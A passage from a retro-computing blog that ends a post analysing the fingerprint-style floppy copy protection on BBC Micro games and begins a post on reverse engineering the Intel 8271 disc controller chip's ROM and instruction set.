disc you just wrote.</li><li>On a per-disc basis, generate, obfuscate and write the required table of expected track lengths into the loader on track 9.</li></ul><div>What a trick! These discs are savagely hard to copy, even <i>with</i> dedicated hardware of the era. In fact, this trick is so clever that it requires us to revisit the fundamentals of disc protection. Here's our earlier statement:</div><div></div><p></p><ul><li>The disc is easy to read but hard to write.</li></ul><div>But the Western Security Ltd. protection is quite easy to write -- you just format a disc. So perhaps we should say:</div><div><ul><li>The disc is easy to read but hard to recreate.</li></ul><div>The Western Security protection is easy to write, easy to read but very hard to copy. One of the advantages of such a protection is that you could use a home computer to write it cheaply if the economics worked for you. That said, many discs I've seen appear to have duplicator markers typically found with expensive disc duplicating machines.</div></div><div><br /></div><div>How can we support our theory? One way is to find a second disc of the same title, The Wizard's Revenge, and see if it differs at all. I did find one, and it does. My disc as per above:</div><div><br /></div><div><div><span style="color: #2b00fe; font-family: courier;">Track 0 sectors 10 length 3124 fixups 1 CRC32 2E6B86E9</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 1 sectors 10 length 3122 fixups 0 CRC32 37E30EC8</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 2 sectors 10 length 3125 fixups 1 CRC32 F7BDE89B</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 3 sectors 10 length 3123 fixups 0 CRC32 BB1E32C3</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 4 sectors 10 length 3122 fixups 1 CRC32 2EC84AF1</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 5 sectors 10 length 3123 fixups 0 CRC32 58FD732B</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 6 sectors 10 length 3125 fixups 0 CRC32 43416F5A</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 7 sectors 10 length 3125 fixups 1 CRC32 B3D8AB10</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 8 sectors 10 length 3122 fixups 1 CRC32 8D02AC32</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 9 sectors 10 length 3125 fixups 1 CRC32 75B1F57B</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 10 sectors 10 length 3123 fixups 1 CRC32 D2B0A1EF</span></div></div><div><span style="color: #2b00fe; font-family: courier;">[...]</span></div><div><br /></div><div>Additional captured disc:</div><div><br /></div><div><div><span style="color: #2b00fe; font-family: courier;">Track 0 sectors 10 length 3126 fixups 1 CRC32 2E6B86E9</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 1 sectors 10 length 3129 fixups 1 CRC32 37E30EC8</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 2 sectors 10 length 3127 fixups 1 CRC32 F7BDE89B</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 3 sectors 10 length 3127 fixups 1 CRC32 BB1E32C3</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 4 sectors 10 length 3127 fixups 1 CRC32 2EC84AF1</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 5 sectors 10 length 3129 fixups 1 CRC32 58FD732B</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 6 sectors 10 length 3129 fixups 1 CRC32 43416F5A</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 7 sectors 10 length 3128 fixups 1 CRC32 B3D8AB10</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 8 sectors 10 length 3128 fixups 1 CRC32 8D02AC32</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 9 sectors 10 length 3127 fixups 1 CRC32 1F5ABD44</span></div><div><span style="color: #2b00fe; font-family: courier;">Track 10 sectors 10 length 3128 fixups 0 CRC32 D2B0A1EF</span></div></div><div><span style="color: #2b00fe; font-family: courier;">[...]</span></div><div><br /></div><div>As can be seen, the sector data (covered by the CRC32s) of the discs is the same except for track 9, which is where the table of expected track lengths resides. And the track lengths themselves are different. In both cases there's track length wobble and in the case of the latter discs, the tracks are all a little longer. This means that the drive that formatted the disc was running at a slightly slower RPM, enabling more bytes to be written in a single revolution.</div><div><br /></div><div>And there's a second way to support the theory. I just asked Simon Hosler, who wrote a lot of Sherston Software games back in the 1980s, if he remembered anything. He recalls,</div><div><br /></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div style="text-align: left;"><i>"Western Security – this wasn’t my system but I think it worked like this... It works because each disk drive runs at slightly different speeds. So when a drive creates a track on the disk – after it has added all of the headers and sectors etc, it has a bit of space to fill up, so adds a few extra ‘fill in’ bits that do nothing. The number of fill in bits will depend on the exact speed of the original formatting drive. So will be different if it was copied. I remember this system became a pain because disk drives were changing (?) all the time. [...] the system was called 'Fingerprinting'"</i></div></blockquote><p>There remains the mystery of how a commercial duplicator could handle making these discs. One thing I've come across is references to a "Freeform" script [<a href="http://www.softpres.org/glossary:trace_machine" target="_blank">link</a>], used in conjunction with Trace duplicators. I haven't been able to find a manual for this scripting language. There are some strange fragments in the memory of the loader after de-obfuscation; could it be related?</p><p><span style="color: #2b00fe; font-family: courier; font-size: x-small;">3F80: 54 70 00 41 44 44 20 20 20 20 20 72 00 4D 4F 56 Tp.ADD r.MOV<br />3F90: 45 54 4F 20 20 74 00 55 4E 49 54 20 20 20 20 75 ETO t.UNIT u<br />3FA0: 00 54 52 41 43 4B 20 20 20 76 00 53 45 43 54 4F .TRACK v.SECTO<br />3FB0: 52 20 20 77 00 54 4F 50 54 52 41 43 4B 78 00 55 R w.TOPTRACKx.U</span></p><h2 style="text-align: left;">Recreating Western Security style protected discs</h2><p>I happen to have a couple of very different disc drives, so I thought I'd try them out. I formatted a disc in each drive, then had a look at the track lengths (in bytes) read back by a WD1772 disc controller in a real BBC Micro model B.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEBK0SnXmiQ-05pHlpiH2gnUj-DNWWxCqWC2JIBXYmReREC4hL_U_IxC53HLJ4HMItPd12CUwOqF7z4ry56kn0hwEdj4pipSWgRDGmtSDeX38CrepqBR1H-TBsGyW4C9_yFFZavoLFp3_C/s1024/chinon_drive.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="768" data-original-width="1024" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEBK0SnXmiQ-05pHlpiH2gnUj-DNWWxCqWC2JIBXYmReREC4hL_U_IxC53HLJ4HMItPd12CUwOqF7z4ry56kn0hwEdj4pipSWgRDGmtSDeX38CrepqBR1H-TBsGyW4C9_yFFZavoLFp3_C/w400-h300/chinon_drive.JPG" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Contender #1: my Chinon F-051MD drive. It is older, 40 track and single-sided only. The pinch-to-close style door mechanism later fell out of fashion (was it less reliable?). Another way to date this is the large DIP-style main chip, a NEC D8048 which is an Intel 8048 clone! (There's a ROM here to extract one day!)</td></tr></tbody></table><br /><div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOjCGtM2q8HoPMz8_70nvnS5xyPMo6MmTla3eAJdI7rUC9tp4C4k1vGGCP8_YpDyEw8CVlA1hgCkdL_DWa30BhLOftzjF2QNSbtx0wNYrVdw9xCg1sN-rxBatlD4hwrBBT6JK_JiLY22UI/s656/mf504c.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="466" data-original-width="656" height="284" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOjCGtM2q8HoPMz8_70nvnS5xyPMo6MmTla3eAJdI7rUC9tp4C4k1vGGCP8_YpDyEw8CVlA1hgCkdL_DWa30BhLOftzjF2QNSbtx0wNYrVdw9xCg1sN-rxBatlD4hwrBBT6JK_JiLY22UI/w400-h284/mf504c.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Contender #2: not my Mitsuibish MF504C, but pretty similar. A much newer drive, 80 track and double sided. Notice the newer chips, cleaner wiring and simpler clamp mechanism. Not visible, but it also has a smaller (next gen?) stepper motor.</td></tr></tbody></table><p>Track lengths from Chinon F-051MD:</p><p><span style="color: #2b00fe; font-family: courier;">[...]<br />Track 1 sectors 10 length 3137 fixups 1 CRC32 67F0950E<br />Track 2 sectors 10 length 3138 fixups 1 CRC32 67F0950E<br />Track 3 sectors 10 length 3138 fixups 1 CRC32 67F0950E<br />Track 4 sectors 10 length 3139 fixups 1 CRC32 67F0950E<br />Track 5 sectors 10 length 3138 fixups 1 CRC32 67F0950E<br />Track 6 sectors 10 length 3140 fixups 1 CRC32 67F0950E<br />Track 7 sectors 10 length 3140 fixups 1 CRC32 67F0950E<br />Track 8 sectors 10 length 3139 fixups 1 CRC32 67F0950E<br />Track 9 sectors 10 length 3140 fixups 1 CRC32 67F0950E<br />Track 10 sectors 10 length 3140 fixups 1 CRC32 67F0950E<br />[...]</span></p><p>Track lengths from Mitsubishi MF504C:</p><p><span style="color: #2b00fe; font-family: courier;">[...]<br />Track 1 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />Track 2 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />Track 3 sectors 10 length 3118 fixups 0 CRC32 67F0950E<br />Track 4 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />Track 5 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />Track 6 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />Track 7 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />Track 8 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />Track 9 sectors 10 length 3118 fixups 1 CRC32 67F0950E<br />Track 10 sectors 10 length 3119 fixups 1 CRC32 67F0950E<br />[...]</span></p><p>These two drives definitely have unique fingerprints! The older drive has a bit more variance / wobble in individual track lengths. In fact, it seems to fit more bytes per track on the later sectors -- most of the latter tracks are length 3142. The older drive also generally fits 20 or so more bytes per track. This means it is spinning a little slower. By contrast, the newer drive runs like clockwork with minimal track-to-track variance. This might make it a little less suitable for generating varied per-disc fingerprints, but copying the disc on home computing hardware would still be tricky -- the machine used would need to have a similarly precise drive, and the drive would also need to be running at the exact same speed as the drive that made the original disc.</p><p>One last look at track lengths, this time from a Phantom Combat game disc, by Doctor Soft. This disc uses Western Security Ltd. protection:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhup-zccgf2o0PWHKLYZhk6_fEpITPgOd6B6rva6htsHx5OvsgFxPbccOWxmSCG0Mr0UaqeNBb2ps75Se2qBCxTfXBI98-9XzR2V9rt_Qmkbd2Ue77hHrlRrFg_4LT2voCrRjdoaqvfQPO-/s1024/phantom_combat_disc.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="768" data-original-width="1024" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhup-zccgf2o0PWHKLYZhk6_fEpITPgOd6B6rva6htsHx5OvsgFxPbccOWxmSCG0Mr0UaqeNBb2ps75Se2qBCxTfXBI98-9XzR2V9rt_Qmkbd2Ue77hHrlRrFg_4LT2voCrRjdoaqvfQPO-/w400-h300/phantom_combat_disc.JPG" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Nothing quite says "we overcooked the disc protection" like a warning sticker about compatibility (left, middle). The sticker states that only Acorn disc ROMs are supported. Unfortunately, non-Acorn disc ROMs were extremely common.</td></tr></tbody></table><p><span style="color: #2b00fe; font-family: courier;">[...]<br />Track 1 sectors 10 length 3152 fixups 0 CRC32 67F0950E<br />Track 2 sectors 10 length 3152 fixups 1 CRC32 67F0950E<br />Track 3 sectors 10 length 3152 fixups 0 CRC32 67F0950E<br />Track 4 sectors 10 length 3152 fixups 1 CRC32 67F0950E<br />Track 5 sectors 10 length 3151 fixups 0 CRC32 67F0950E<br />Track 6 sectors 10 length 3152 fixups 0 CRC32 67F0950E<br />Track 7 sectors 10 length 3150 fixups 0 CRC32 67F0950E<br />Track 8 sectors 10 length 3151 fixups 0 CRC32 67F0950E<br />[...]</span></p><div>This is disc protection hidden in plain sight. These 8 protected tracks are in fact 100% default format tracks (CRC32 67F0950E). There's the correct number of sectors and there are no deleted sectors. discbeast would show these tracks as plain green, aka. move on, nothing to see here!</div><div>There's a bit of track length wobble from track to track, but the tracks are also unusually long (the ideal is 3125 bytes). It is not clear whether the tracks were deliberately laid down a little long, but it definitely helps the disc protection. Any disc drive used to attempt to re-create these tracks is unlikely to be spinning at that speed because it is 0.8% slow and the disc drive motor technology is generally better than that. It's interesting to note that simple long track protection is just another variant in the Western Security scheme.</div><div>This disc was probably written from a BBC Micro itself, rather than a fancy duplication machine, as evidenced by the lack of a duplicator marker and by the fact the game data sectors show evidence of being written sector-at-a-time, not track-at-a-time. Who knows, maybe there was a deliberate attempt to find a slow drive; some older drives even have a twiddleable variable resistor to vary motor speed.</div><div><br /></div><h2 style="text-align: left;">Conclusion</h2></div><div><br /></div>We've reviewed the most powerful BBC Micro model B disc protection scheme I found, across an audit of most of the copy protected discs released for the machine. It's clever in that you don't need specialized hardware to create the disc, or read the disc. But you're going to struggle to duplicate the disc.<div>My suspicion is that even modern hardware -- a Greaseweazle perhaps -- might struggle to hit byte-perfect precision, unless it is paired with a high quality disc drive that rotates very consistently (such as my Mitsubishi MF504C).</div><div>Talking again to Simon, as far as he's aware, this was the work of George Keeling, who I'd love to contact if only to tell him I think this work was awesome.</div>Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com20tag:blogger.com,1999:blog-3024470480937744884.post-88074969499864785662020-11-16T11:26:00.001-08:002020-11-16T14:29:16.798-08:00Reverse engineering a forgotten 1970s Intel dual core beast: 8271, a new ISA<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIZJ3XiCA_caV79yggE84j-1PvVlLlk4b982sNzeafvnQ1i6bT_O3w0jFv5j56jq1BD-F3mnT-WY9TRlKcwMYy7Tq6xWRcniHBntLyxWZCHJ_zoLyOuh3dkTZBB8tkjPLNTWjgNS6fxi16/s2444/intel1978.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="330" data-original-width="2444" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIZJ3XiCA_caV79yggE84j-1PvVlLlk4b982sNzeafvnQ1i6bT_O3w0jFv5j56jq1BD-F3mnT-WY9TRlKcwMYy7Tq6xWRcniHBntLyxWZCHJ_zoLyOuh3dkTZBB8tkjPLNTWjgNS6fxi16/w640-h86/intel1978.jpg" width="640" /></a></div><p>"<b>As I recall, those two chips were fairly large. And fairly late -- to the marketplace. We had lots of issues with them. [...] Sometimes the elegant solution isn't the best solution.</b>" -- Dave House, digressing to the 8271 during "Oral History Panel on the Development and Promotion of the Intel 8080 Microprocessor" [<a href="http://archive.computerhistory.org/resources/text/Oral_History/Intel_8080/102658123.05.01.pdf" target="_blank">link</a>], April 26th 2007, Computer History Museum, Mountain View, California.</p><h2 style="text-align: left;">Introduction</h2><p>Around 1977, Intel released a floppy disc controller (FDC) chip called the 8271. This controller isn't particularly well known. It was mainly used in business computers and storage solutions, but its one breakthrough into the consumer space was with the <a href="https://en.wikipedia.org/wiki/BBC_Micro" target="_blank">BBC Micro</a>, a UK-centric computer released in 1981.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk_7yuo6azbIITt9E-Pi4zrhDCUyuCkkN5hIucVoEa4iZByrktWGoh730_2HrlMFo24yiIsTc40isw645pDk9SETCF_Vy_vo1PI2JbJ_zwfft6pedIJQZqhijvvtcsvq-iQJgpiVC36gMr/s267/i8271.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="267" data-original-width="234" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk_7yuo6azbIITt9E-Pi4zrhDCUyuCkkN5hIucVoEa4iZByrktWGoh730_2HrlMFo24yiIsTc40isw645pDk9SETCF_Vy_vo1PI2JbJ_zwfft6pedIJQZqhijvvtcsvq-iQJgpiVC36gMr/s0/i8271.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Intel 8271 (left) in an issue 3 BBC Micro model B</td></tr></tbody></table><p>There are very few easily discovered details about this chip online, aside from the useful <a href="http://www.nj7p.org/Manuals/PDFs/Intel/AFN-00223B.pdf" target="_blank">datasheet</a>. This, combined with increasing observations of strange behavior, make the chip a bit of an enigma. My interest in the chip was piqued when I accidentally triggered a wild test mode that managed to corrupt one of my floppy discs even though the write protect tab was present! You can read about that here:</p><p><a href="https://scarybeastsecurity.blogspot.com/2020/06/a-wild-bug-1970s-intel-8271-disc-chip.html" target="_blank">A wild bug: 1970s Intel 8271 disc chip ate my data!</a></p><p>Can we reverse engineer a detailed understanding of how it works? What wonders will we find?</p><h2 style="text-align: left;">Credits</h2><p>The work described here represents the efforts of a virtual team that came together in an impromptu way to investigate the chip. There are many critical players, and special thanks go to:</p><p></p><ul style="text-align: left;"><li><b>Nigel Barnes</b>. Bridged the MAME community and BBC Micro community, locating someone with chip decapping skills.</li><li><b>BeebMaster</b>. Provided a couple of sacrificial 8271 chips for decapping.</li><li><b>Sean Riddle</b>. Decapped the chips and provided beautiful hi-resolution images.</li><li><b>ZXGuesser</b>, <b>Diminished</b>. Hardware level reverse engineering, including accurate extraction of ROM bits.</li><li><b>Ken Shirriff</b>. Provided notes on silicon macro structures, and located historic documents of great utility.</li><li><b>Rich Talbot-Watkins</b>, <b>Chris Evans</b> (me). Calculating the ISA, disassembling the ROM.</li></ul><p></p><h2 style="text-align: left;">The beauty of the beast: recap and decap</h2><p>So to recap: we had a few indicators that this could be a very interesting chip. These range from the crazy test mode we found above, to the fact the data sheet hints at a large number of internal registers, with only a few documented.</p><p>And, to decap:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaGeSNviQ9u-IwNK1NWHxNQbQlDi2_5ePr0piWEERaG0x_sLGc5ZGhcO9YpP_3zczxWy6WejvcEDrNQW_NqpBD6NCVnoi6VZ_xzbnwrhtD51ryN0eb4zMM4X_xbqhKnLBGrwBfnoTMHANr/s1024/8271-6metal_1024px.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="914" data-original-width="1024" height="573" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaGeSNviQ9u-IwNK1NWHxNQbQlDi2_5ePr0piWEERaG0x_sLGc5ZGhcO9YpP_3zczxWy6WejvcEDrNQW_NqpBD6NCVnoi6VZ_xzbnwrhtD51ryN0eb4zMM4X_xbqhKnLBGrwBfnoTMHANr/w640-h573/8271-6metal_1024px.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">(See references at the end for very high resolution shots)</td></tr></tbody></table><p>This a complicated chip for an FDC! There are a large number of large structures present, densely packed. To illustrate the point, we can compare this chip with the heart of the BBC Micro -- a venerable, legendary 6502, as used in iconic 80s machines and consoles such as the Apple ][, Commodore 64 and NES:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPBItORhU_h0x1_Fhwu_n81o9K-XzMjAKlJK9r9h-w1P-e3fErsPrV8sM9x7gi0wHxIVR4LJQ77_n8Kas0NQCFXDMBpbBSn3R91dJUSJtclwUSLaHtWpLLUw7-qm_Nb5ddZcR1m45Cn_mM/s1024/8271_and_6502.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="457" data-original-width="1024" height="286" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPBItORhU_h0x1_Fhwu_n81o9K-XzMjAKlJK9r9h-w1P-e3fErsPrV8sM9x7gi0wHxIVR4LJQ77_n8Kas0NQCFXDMBpbBSn3R91dJUSJtclwUSLaHtWpLLUw7-qm_Nb5ddZcR1m45Cn_mM/w640-h286/8271_and_6502.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">8271 left, 6502 right</td></tr></tbody></table><p>Not only is the 8271 larger than the main CPU by a significant amount, it also cost more by all accounts:</p><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p><i>"In Acorn's wisdom, they had chosen the Intel 8271 disk controller for the BBC Micro - this controller was probably obsolete even before the BBC Micro was launched. The Acorn disk upgrade comprised the 8271, a handful of standard TTL ICs, an Acorn DFS ROM, and the disk manual. The ICs plugged into unpopulated sockets on the motherboard.</i></p><p><i>A few hardy folks tried sourcing the parts separately - which was fine, except that an 8271 tended to cost about £109 on its own, </i>if<i> you could find one..."</i> -- [<a href="http://www.adsb.co.uk/bbc/disk_controllers/" target="_blank">source link</a>]</p></blockquote><p>By contrast, the 6502 <a href="https://retrocomputing.stackexchange.com/questions/2760/how-much-did-the-6502-and-z80-cost" target="_blank">allegedly cost around $7.45 in 1981</a>, which is a huge difference factor.</p><h3 style="text-align: left;">Getting the ROM bits</h3><p>From a quick eyeball of the 8271 die, there are plenty of PLA-like structures, but perhaps most promisingly, a large rectangle of ROM in the lower left. Right away, we're thinking that this <i>could indeed</i> be a general purpose microcontroller CPU if there's a ROM program. Initial focus fell immediately to extracting the ROM.</p><p>ZXGuesser and Diminished put in a Herculean effort, transcribing the ROM bits first by hand and later with some tooling assist and cross-checking. In case you're wondering what transcribing ROM bits by hand looks like, it looks a little like this:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqIB1DfxB3j723rs9nsMr7Aiu6GJFysnHfVOxgtaxjPl6nw5EGvITkn1HM3rXKdiNmpqRcWRhbKbcsFC-HT5XPfXbcSlyndEblqVh-eja9T1QDGGTp2u1sCK8aEeINSx_HmBh3ygi6Wtdm/s1024/8271_partial_annotated_rom.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="768" data-original-width="1024" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqIB1DfxB3j723rs9nsMr7Aiu6GJFysnHfVOxgtaxjPl6nw5EGvITkn1HM3rXKdiNmpqRcWRhbKbcsFC-HT5XPfXbcSlyndEblqVh-eja9T1QDGGTp2u1sCK8aEeINSx_HmBh3ygi6Wtdm/w640-h480/8271_partial_annotated_rom.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Look closely; those cyan annotations are 0s and 1s!</td></tr></tbody></table><p>The ROM matrix is 64x108 bit cells, for a ROM size of 864 bytes.</p><p>Once you've gotten the ROM bits, you still have the challenge of assembling them together into a correctly sequenced byte stream. This isn't always as easy as you might think, and is particularly rough when you don't have a reliable way of telling if the extracted bytes are ok, as is the case here. During my research, I found:</p><p></p><ul style="text-align: left;"><li><a href="http://adamsblog.rfidiot.org/2013/01/fun-with-masked-roms.html" target="_blank">Two 8-bit bytes interleaved</a>.</li><li><a href="https://seanriddle.com/psu.html" target="_blank">Bits and bytes heavily interleaved in a Channel F game cartridge</a>.</li><li><a href="http://caps0ff.blogspot.com/2020/11/the-elusive-tms32010-mask-rom.html" target="_blank">Byte ordering permuted fairly arbitrarily -- obfuscation?</a></li></ul><p></p><p>Fortunately, the ROM reversers also looked at the row and column circuitry connecting the ROM, and gave a fairly robust opinion that the ROM bits / bytes are:</p><p></p><ul style="text-align: left;"><li>Left-to-right, top-to-bottom.</li><li>Bits inverted relative to the initial decode in the image above.</li><li>Bits MSB first.</li><li>Bytes build from 1 bit per linear 8 bit group.</li></ul><div><br /></div><div>This gives the first bytes of the ROM as the following:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh70o48jhqWLieyH_EhzL_NZ0NvbA69sL1X8wFSx6Q54-X5JM-sdLEOnYSW01HBibaq160cXlFs1KX_Balh8aWxGSlHMv6XnM5JY0eqQsVDFLsFNj4rh_GJL3y3KVGDeDDwXFgSGHl9T88Z/s482/8271_rom_first_bytes.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="16" data-original-width="482" height="22" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh70o48jhqWLieyH_EhzL_NZ0NvbA69sL1X8wFSx6Q54-X5JM-sdLEOnYSW01HBibaq160cXlFs1KX_Balh8aWxGSlHMv6XnM5JY0eqQsVDFLsFNj4rh_GJL3y3KVGDeDDwXFgSGHl9T88Z/w640-h22/8271_rom_first_bytes.png" width="640" /></a></div><div><br /></div><div>This happens to be a correct decode, although we couldn't be sure for some time.</div><p></p><h3 style="text-align: left;">Architecture hints</h3><p>As Rich and myself engaged in efforts to try and disassemble the ROM, without any prior knowledge of the Instruction Set Architecture (ISA), I was fortunate enough to have a conversation with Ken Shirriff (<a href="http://righto.com">righto.com</a>) about this interesting chip. Against all odds, he found a detailed conference presentation abstract from 1977 [<a href="https://drive.google.com/file/d/1B2gUpavFpVP_s45A4cH6JKaI1A3O3t7T/view" target="_blank">link to copy of full abstract</a>].</p><p>This image from the abstract, will look familiar (imagine +90 degrees rotated).</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmkxe6r83eXqL-TgJPB1K6AbXbWxR_7Cg9Ad1ZqAJrGgqX93xlRohKV_lVL6tT0tChoXKzEGcTy2_jwpjUjD2ul0FFV6pHoxsVHwJaU2xkENoEDbZsvxQpnrbDiU1xW700-cAov2K_CJm0/s642/8271_photomicrograph.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="642" data-original-width="576" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmkxe6r83eXqL-TgJPB1K6AbXbWxR_7Cg9Ad1ZqAJrGgqX93xlRohKV_lVL6tT0tChoXKzEGcTy2_jwpjUjD2ul0FFV6pHoxsVHwJaU2xkENoEDbZsvxQpnrbDiU1xW700-cAov2K_CJm0/s320/8271_photomicrograph.png" /></a></div><div><br /></div>The rest of the abstract is a gold mine. The presentation was titled "A Dual Processor Serial Data Controller Chip" and begins:<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div><p style="text-align: left;"><i>"A DUAL PROCESSOR microprogrammable chip that implements a specialized architecture for high-speed serial data controllers will be described. The chip measures 218 mils by 244 mils and contains 22,000 transistors..."</i></p></div></blockquote><p><b>22,000 transistors</b>!! We knew this was a bit of a chonker, but for reference, the 6502 has 3,218 transistors; the 8080 6,000 transistors and the 8086 29,000 transistors. Yes, the 8271 is not that far off an 8086 in terms of transistor count.</p><p>This instructive table and diagram are also from the abstract:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiALP75d71FWDecrS_lFfFmuey_hK5CqbpULsM5NIZFvKDtPmhQ4Ksv0Jfu2ZIEaNGvG6mNQxUGIE4ZuCKzfYbpAp6VsAxx_00rADVj49RU4ETIB5RbhAL-zdbeKvfd5mFBDW334IZJq6lV/s728/8271_bit_byte_summary.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="244" data-original-width="728" height="214" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiALP75d71FWDecrS_lFfFmuey_hK5CqbpULsM5NIZFvKDtPmhQ4Ksv0Jfu2ZIEaNGvG6mNQxUGIE4ZuCKzfYbpAp6VsAxx_00rADVj49RU4ETIB5RbhAL-zdbeKvfd5mFBDW334IZJq6lV/w640-h214/8271_bit_byte_summary.png" width="640" /></a></div><p>This confirms our suspicions that we <i>are</i> dealing with a general purpose CPU, coupled with some acceleration for I/O. The general purpose CPU has the features you'd expect, including a PC, stack, ALU, accumulator, registers, and access to a bus. Further detail in the abstract includes "32 eight-bit registers" and "four-level stack".</p><p>The presence of a a bit processor (a co-processor if you like) with 250ns cycle time resolves the elephant in the room with the "general CPU" theory. A general CPU of the era probably wouldn't be fast enough to calculate CRC16 at the disc data rate. However, a specialized PLA-driven bit engine bolted on to the side will do just fine.</p><div><p>Finally on this abstract, we see that it states "To date, two distinct controllers have been microprogrammed: a floppy disk controller and a synchronous data link controller (SDLC)". Well, we've found the FDC, the 8271. Intel's SDLC from the era was the 8273. Enter Sean Riddle once more -- what a star -- and another sacrificed chip or two later, we have our result:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpe15I8rLXf1xE6WA7b7ym2SWS7cs5jo5mo6FpWRCVoDduJen-WKYTUiYAVY9AIMgbmNiBfzq4VIgD1SVOP0EozBjt4fBIox4XwY0Pc84W8MeUPZM0HhYgWx0bMhyjRmNIjPgAEFmqv2c3/s1024/8271_and_8273.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="457" data-original-width="1024" height="286" 